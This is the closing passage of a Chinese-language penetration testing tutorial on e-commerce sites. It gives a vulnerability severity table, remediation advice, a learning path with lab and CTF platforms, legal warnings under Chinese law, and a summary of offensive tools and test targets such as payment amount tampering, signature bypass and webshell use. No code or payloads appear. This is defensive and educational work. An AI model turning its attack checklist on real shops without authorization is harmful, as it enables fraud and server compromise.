利用条件多,攻击局限性大 |
|
支付逻辑漏洞 |
🔴 高危 |
直接造成经济损失 |
|
后台弱口令 |
🟠 中危 |
可能被爆破获取后台权限 |
|
未授权访问 |
🟠 中危 |
可直接访问敏感功能或数据 |
|
文件上传漏洞 |
🔴 高危 |
可上传木马获取服务器权限 |
|
信息泄露 |
🟡 低危 |
泄露敏感信息辅助进一步攻击 |
十三、防御与修复建议
13.1 SQL注入修复
-
使用ORM框架或预编译语句
-
输入参数严格校验和过滤
-
最小权限原则(数据库账号权限最小化)
13.2 XSS修复
-
对输出内容进行HTML转义
-
使用CSP(内容安全策略)
-
输入验证和输出编码双重防护
13.3 支付逻辑修复
-
价格由服务端验证(不信任客户端数据)
-
签名验证不可绕过
-
订单状态机严格校验
-
金额异常告警
13.4 后台安全
-
强密码策略(字母+数字+符号,8位以上)
-
验证码机制(防止暴力破解)
-
登录失败锁定(限制尝试次数)
-
IP白名单访问(仅允许办公网访问)
13.5 服务器安全
-
及时安装安全补丁
-
关闭不必要的端口和服务
-
配置防火墙规则
-
使用WAF防护
-
PHP配置合理的disable_functions
十四、学习建议
14.1 学习路径
1. 掌握基础:HTML、CSS、JavaScript、PHP/Python
2. 学习Web安全:OWASP Top 10
3. 搭建靶场:DVWA、WebGoat、Vulhub
4. 练习工具:BurpSuite、sqlmap、Nmap
5. 参加CTF:锻炼实战能力
6. 阅读报告:FreeBuf、先知社区的渗透报告
14.2 推荐资源
-
靶场平台:Vulhub、DVWA、Pikachu
-
学习社区:FreeBuf、先知社区、FreeBuf公开课
-
工具文档:各工具的官方文档
-
CTF平台:CTFHub、攻防世界、BUUCTF
-
字典资源:SecLists (https://github.com/danielmiessler/SecLists)
14.3 法律合规
⚖️ 非常重要!
《中华人民共和国网络安全法》第二十七条规定:
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动
不得提供专门用于从事侵入网络、干扰网络正常功能及窃取网络数据等危害网络安全活动的程序、工具
《刑法》第二百八十二条:
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役
违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金
请务必在合法合规的前提下学习和使用渗透测试技术!
十五、总结
核心知识点回顾
|
阶段 |
关键技能 |
核心工具 |
|---|---|---|
|
环境准备 |
系统配置、工具安装 |
Kali Linux、Java、Python |
|
信息收集 |
IP收集、端口扫描、目录扫描、指纹识别 |
nmap、dirsearch、dirmap、WhatWeb |
|
系统漏洞扫描 |
漏洞扫描、漏洞验证 |
Goby、Nessus、Metasploit、searchsploit |
|
Web漏洞扫描 |
CMS识别、自动扫描、结果验证 |
AWVS、xray、ThinkPHPGUI |
|
人工功能测试 |
被动扫描、逻辑测试、多工具联动 |
BurpSuite、xray被动模式 |
|
漏洞利用 |
SQL注入、XSS、WebShell |
sqlmap、蚁剑、Metasploit |
电商系统测试重点
-
支付流程:金额篡改、签名绕过、订单状态修改
-
用户体系:越权访问、弱口令、验证码绕过
-
商品功能:搜索注入、详情篡改、购物车修改
-
后台管理:入口发现、弱口令、权限提升
-
接口安全:未授权访问、重放攻击、接口滥用
实战经验总结
-
工具只是辅助,思路才是核心
-
多工具交叉验证,避免误报漏报
-
人工测试不可或缺,逻辑漏洞只能靠人
-
遵守法律法规,一切测试必须有授权
-
持续学习更新,跟进最新漏洞和技术
💡 最后一句话:安全路漫漫,愿我们一起进步!渗透测试是一门实践性极强的技术,光看书没用,必须动手练。搭建靶场、参加CTF、阅读实战报告,循序渐进地提升自己的技术水平!
更多推荐



所有评论(0)